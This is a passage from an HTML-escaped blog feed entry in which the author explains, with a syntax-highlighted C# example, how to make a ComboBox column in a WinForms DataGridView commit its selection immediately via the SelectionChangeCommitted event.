class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Example&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_dataGridView&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataGridView&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// setup the datagridview here.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;DataGridViewComboBoxColumn&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataGridViewComboBoxColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Foo&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ValueType&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;typeof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HeaderText&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Foo&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Bar&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Baz&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Fizz&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Buzz&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;FizzBuzz&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DefaultCellStyle&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NullValue&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Bar&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_dataGridView&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Columns&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// hook up editing control showing event&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_dataGridView&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;EditingControlShowing&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataGridViewEditingControlShowingEventHandler&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_dataGridView_EditingControlShowing&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// create a delegate for the method that will handle the event&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_comboBoxSelectDelegate&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EventHandler&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;combo_SelectionChangeCommitted&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataGridView&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_dataGridView&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EventHandler&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_comboBoxSelectDelegate&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_dataGridView_EditingControlShowing&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sender&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataGridViewEditingControlShowingEventArgs&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// get the control from the event args.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;ComboBox&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;combo&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Control&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ComboBox&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;combo&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;null&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// remove the event subscription if it exists.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;combo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SelectionChangeCommitted&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;-=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;comboSelectDelegate&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// add a subscription to the event&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;combo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SelectionChangeCommitted&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;comboSelectDelegate&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;combo_SelectionChangeCommitted&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sender&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EventArgs&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// handle the event, and end edit mode&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;43&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_dataGridView&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;EndEdit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;44&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;45&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</summary>
		<content type="html">&lt;p&gt;As usual, WinForms GUI programming is a terrible PIA. Even worse is the flagship of all controls the great beast known as the DataGridView. Working with the &lt;code&gt;DataGridView&lt;/code&gt; bends your mind like offensive cutlery at Uri Geller’s dinner table.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;During my most recent encounter with this control of the third kind, I needed to use a &lt;code&gt;ComboBox&lt;/code&gt; column, and that column needed to have an effect on the contents of the other controls. Normally, you could just hook up a &lt;code&gt;CellValueChanged&lt;/code&gt; event or something of that nature, but that doesn’t work out on a &lt;code&gt;ComboBox&lt;/code&gt; control in a &lt;code&gt;DataGridView&lt;/code&gt; column. There&#39;s no event that would fire when a user selected an item in the dropdown. Only after the user selected the item, then refocused on some other control.&lt;/p&gt;&#xA;&lt;p&gt;That was annoying. Too many clicks for the user! When I select the item in the dropdown, the row should react, I shouldn’t have to click elsewhere.&lt;/p&gt;&#xA;&lt;p&gt;So here’s a quick example of what I did to get that working. In the example, we handle the datagridview’s &lt;code&gt;EditControlShowing&lt;/code&gt; event, then grab a reference to the combobox, then unwire any previous events we may have hooked up to &lt;code&gt;SelectionChangeCommitted&lt;/code&gt;, then wire the event. In the &lt;code&gt;SelectionChangeCommitted&lt;/code&gt; event we call &lt;code&gt;_dataGridView.EndEdit()&lt;/code&gt; to effect the other rows.&lt;/p&gt;&#xA;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Example&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Example&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_dataGridView&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataGridView&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// setup the datagridview here.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;DataGridViewComboBoxColumn&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataGridViewComboBoxColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Foo&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ValueType&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;typeof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HeaderText&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Foo&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Bar&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Baz&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Fizz&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span 